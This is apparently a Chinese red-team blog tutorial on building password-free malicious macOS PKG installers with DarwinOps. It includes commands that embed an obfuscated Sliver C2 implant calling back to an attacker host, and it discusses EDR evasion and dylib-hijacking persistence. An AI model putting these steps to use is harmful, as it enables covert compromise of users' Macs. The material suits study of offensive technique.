macOS红队攻防(三):利用DarwinOps构建免密安装的恶意PKG实现初始访问

4 阅读4分钟

macOS红队攻防(三):利用DarwinOps构建免密安装的恶意PKG实现初始访问

现有技术分析

PKG文件是macOS平台上的安装包,相当于Windows系统中的.msi包。它们用于安装应用程序、脚本、目录等等,并且附带一些特别有趣的东西:preinstallpostinstall脚本(还有其他类型的脚本,但这里我们只关注这两个核心的)。PKG由苹果的Installer二进制程序启动,它会提示你输入管理员密码,以便用所需的权限安装文件。(如果用户在当前会话中没有管理员权限,将无法进行安装。)

使用苹果原生的二进制工具pkgbuild直接生成:

pkgbuild \
--root /folder/i/want/to/install \
--identifier com.example.payload \
--version 1.0 \
payload.pkg

PKG文件必须经过签名(或者不能带有隔离属性),否则macOS会阻止其启动。然而,它们有一个显著的优势:与应用程序不同,当PKG被签名后,它们不会触发额外的警告提示。

如何改进这个攻击向量?

如现有技术分析和GIF所示,PKG安装需要用户输入会话管理员密码,这会:

  1. 增加用户所需的点击和操作次数(不太理想)。
  2. 如果用户没有必要的权限,则无法启动载荷。

为了撰写下一篇文章,我下载了一个庞大的PKG文件数据库,偶然发现了一个安装程序,它有一个有趣的选项:

“仅为我安装”—— 点击这个选项后发现我不需要输入密码。这非常有趣。让我们深入挖掘一下,看看我们自己如何构建这样一个PKG。

如何创建提供此选项的PKG?

Productbuild

默认情况下,我们得到的是上面显示的安装流程——我们从未看到过这个选项,而且pkgbuild似乎也没有提供任何相关的命令。这很正常,因为这正是productbuild发挥作用的地方。

我们来谈谈这个distribution.xml文件。这是一个配置文件,允许你添加各种选项,包括我们感兴趣的那个:让用户选择安装位置。(实际上,直接从preinstall/postinstall脚本运行一个阶段程序通常更有效,所以实际的安装目录并不那么重要。)

// 经典的distribution.xml文件
<?xml version="1.0" encoding="utf-8"?>
<installer-gui-script minSpecVersion="2">
    <options customize="never" hostArchitectures="arm64"/>
    <domains enable_currentUserHome="true"/>
    <title>enhanced pkg</title>
    <choices-outline>
        <line choice="default"/>
    </choices-outline>
    <choice id="default" visible="false" title="App">
        <pkg-ref id="com.example.app"/>
    </choice>
    <pkg-ref id="com.example.app" version="1.0">installer.pkg</pkg-ref>
</installer-gui-script>

下面两个参数允许用户选择安装位置,包括安装到他们的用户文件夹中。 enable_currentUserHome="true" [...] <choice id="default" visible="false" title="App">...

通过对domains参数中其他选项进行一些研究,我们可以禁用特权安装,这将使第二个选项(用户级安装)成为默认选项——并且它不再需要任何额外的用户交互。

通过命令行实现:

./darwin_ops -t CALC -G payload.pkg --pkg-no-elevation

PKG与C2:使用Sliver构建更高级的包

我们将探讨如何使用DarwinOps将Sliver植入物嵌入到包中。

generate --os macos --format macho --arch arm64 --http <ip>:<port> --skip-symbols

// 使用--skip-symbols是因为DarwinOps会自己进行混淆部分。

对于DarwinOps部分,我们有几种选择(以及子选项):将载荷作为输入并构建PKG(可行,但规避能力弱),或者使用EmbedRun及其私有嵌入方法技巧,这使我们能够绕过EDR。

我们将选择embedrun。至于嵌入方法,最好根据你的需求和想要绕过的EDR来选择——文档中都有详细说明。

DarwinOps提供了内建文档来帮助指导你选择各种选项和子选项,因为其中一些可能需要额外解释。

./darwin_ops -t EMBED_RUN --embed ./C2/implant/LINEAR_VITALITY --embed-method classic -G ./Outputs/payload.pkg --obfuscate --pkg-no-elevation

实际上,这个PKG并不会安装任何实质性的东西;相反,它利用其中一个脚本在embedrun内解包载荷,并使用我们选择的技术执行它。

如何更进一步?

我们可以利用PKG文件及其“安装”的特性,通过dylib劫持程序来实现持久化。这在Mac受类似Santa方案保护的情况下非常有用。

为此,你可以依赖ENUM_BIN_INJECT枚举场景,它能识别系统中可以通过dylib进行注入的应用程序(无论是通过环境变量还是代理/顺序劫持)。

一旦你识别出一个易受攻击的应用程序,并确认它存在于目标的Mac上,你就可以制作一个PKG,同时嵌入你的恶意dylib(例如,可以运行Mythic Apfell)和合法dylib(进程所需的),你的恶意dylib将把调用代理给后者。

这里不再赘述,因为我将在下一篇文章中详细介绍枚举和注入模板。届时,我将解释使用DarwinOps进行此操作的完整流程,以及几种格式——包括用于初始访问的PKG和DMG。FINISHED CSD0tFqvECLokhw9aBeRqiAtBdroPKrTJORmTzK0GBgZWsFgYgIBpfB50FEBXBcaJQkdVsbuh1kd8VWZwTuvS2/8+4chYUORhFAzTecc9wkQncj8bSBqHrzCdH++8Fgi